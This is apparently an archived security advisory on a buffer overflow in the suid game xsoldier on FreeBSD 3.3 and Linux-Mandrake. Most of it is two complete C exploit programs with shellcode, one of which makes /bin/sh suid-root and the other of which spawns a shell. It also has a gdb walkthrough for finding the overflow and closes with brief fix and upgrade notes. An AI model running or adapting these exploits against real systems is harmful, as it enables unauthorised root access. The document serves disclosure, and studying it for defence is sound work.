COMMAND
xsoldier
SYSTEMS AFFECTED
FreeBSD 3.3, Linux
PROBLEM
Brock Tellier found following. A vulnerability in FreeBSD 3.3's
xsoldier will allow any user to gain root access. This user does
not have to have a valid $DISPLAY to exploit this. Only FreeBSD
3.3-RELEASE has been tested. xsoldier, suid-root by default, was
installed as part of the X11 games packages via /stand/sysinstall.
More problems with FreeBSD 3.3 ports. This time with xsoldier, a
suid-root game. A simple overflow in the -display option allows
any user to gain root. Although xsoldier only runs under X, a
long -display arg on the CL will allow us to gain root.
/*
* xsoldier exploit for Freebsd-3.3-RELEASE
* Drops a suid root shell in /bin/sh
* Brock Tellier btellier@usa.net
*/
#include <stdio.h>
char shell[]= /* mudge@l0pht.com */
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui";
#define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"
void buildui() {
FILE *fp;
char cc[100];
fp = fopen("/tmp/ui.c", "w");
fprintf(fp, CODE);
fclose(fp);
snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
system(cc);
}
main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 4400;
char buf[bsize];
int eip = 0xbfbfdb65; /* works for me */
buildui();
if (argv[1]) {
offset = atoi(argv[1]);
eip = eip + offset;
}
fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE
<btellier@usa.net>\n");
fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);
for ( x = 0; x < 4325; x++) buf[x] = 0x90;
fprintf(stderr, "NOPs to %d\n", x);
for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
fprintf(stderr, "Shellcode to %d\n",x);
buf[x++] = eip & 0x000000ff;
buf[x++] = (eip & 0x0000ff00) >> 8;
buf[x++] = (eip & 0x00ff0000) >> 16;
buf[x++] = (eip & 0xff000000) >> 24;
fprintf(stderr, "eip to %d\n",x);
buf[bsize]='\0';
execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL);
}
Larry C$ had been looking at some setuid files on his mandrake
installation and noticed that xsolider was setgid games. He
remembered a local exploit above. As an excersize he checked to
see if he could find the segfault in xsolider myself. He guessed
it was the display variable. His first attempt was a success.
$ /usr/games/xsoldier -d `perl -e 'print "A" x 4500'`
-snip-
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA] can't open display.
Segmentation fault
At 4397 he first got a segmentation fault. He realized that this
is not a new vulberability, but it might be fun to write and
exploit for linux as one existed in freebsd. He attempted to get
a core dump by suing to root and attempting the above again
(thinking core dumps were supressed for normal users) with no
luck. So he downloaded the source code to xsolider compiled and
tried again.
# /tmp/xsoldier -d `perl -e 'print "A" x 4397'`
-snip-
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
Ok. Lets see if we are getting 0x41 in EIP
#gdb /tmp/xsoldier core
GNU gdb 19991116
-snip-
Core was generated by `/tmp/xsoldier -d
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
-snip-
Reading symbols from /lib/ld-linux.so.2...done.
Reading symbols from /lib/libnss_files.so.2...done.
#0 0x41 in ?? ()
Yep, just barely so increase the buffersize to 4400 and with the
new corefile we get
# gdb /tmp/xsoldier core
Core was generated by `/tmp/xsoldier -d
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
-snip-
Reading symbols from /lib/ld-linux.so.2...done.
Reading symbols from /lib/libnss_files.so.2...done.
#0 0x41414141 in ?? ()
(gdb) info regi eip
eip 0x41414141 0x41414141
(gdb)
Ok, so lets try putting some shellcode in there.
/*lwcashdollar wmcdplay exploit modified for xsolider.
* lwc@vapid.dhs.org http://vapid.dhs.org
* trying to get euid=games.*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90 /*no operation skip to next instruction
. */
#define LEN 4480 /*our buffersize. */
char shellcode[] = /*hellkit v1.1 */
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xed\x5c"
"\xc2\x91";
/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}
int
main (int argc, char *argv[])
{
char buffer[LEN];
int i, offset;
long retaddr = get_sp ();
if (argc <= 1)
offset = 0;
else
offset = atoi (argv[1]);
/*#Copy the NOPs in to the buffer leaving space for shellcode and
#pointers*/
for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
*(buffer + i) = NOP;
/*[NNNNNNNNNNNNNNNNNNNNN ]*/
/* ^-- LEN -(strlen(shellcode)) - 35*/
/*#Copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));
/*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSS ]*/
/* ^-(buffer+i) */
/*#Fill the buffer with our new address to jump to esp + offset */
for (i = i + strlen (shellcode); i < LEN; i += 4)
*(long *) &buffer[i] = retaddr+offset;
/*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSRRRRRRRRRRRRR]*/
/* ^-(i+strlen(shellcode))*/
printf ("Jumping to address %x BufSize %d\n", retaddr + offset, LEN); execl
("/usr/games/xsoldier", "xsoldier", "-display", buffer, 0);
}
[larry@Nemia overflow]$ ./wmx 400
Jumping to address bfffe9dc BufSize 4480
Segmentation fault
[larry@Nemia overflow]$ ./wmx 1400
Jumping to address bfffedc4 BufSize 4480
sh-2.03$ id
uid=501(larry) gid=503(larry)
groups=503(larry),22(cdrom),81(audio),105(urpmi),502(xgrp)
OK, so the next step would be to put a setregid(); call in the
shellcode to get egid=12. This is where Larry lack in experience.
Its egid games so not that interesting and an old exploit.
SOLUTION
This is not particular to FreeBSD. This is the xsoldier program
compiled normally. In fact, in the distribution of xsoldier, the
Makefile precisely specifies that the program should be installed
suid:
install.bin::
@if [ -d $(BINDIR) ]; then set +x; else (set -x; $(MKDIRHIER) $(
BINDIR)); fi
$(INSTALL) -c -m 4755 $(PROGRAM) $(BINDIR)/$(PROGRAM)
@echo "install bin . done"
As for Linux-Mandrake please upgrade to:
xsoldier-0.96-13mdk.i586.rpm
xsoldier-0.96-13mdk.src.rpm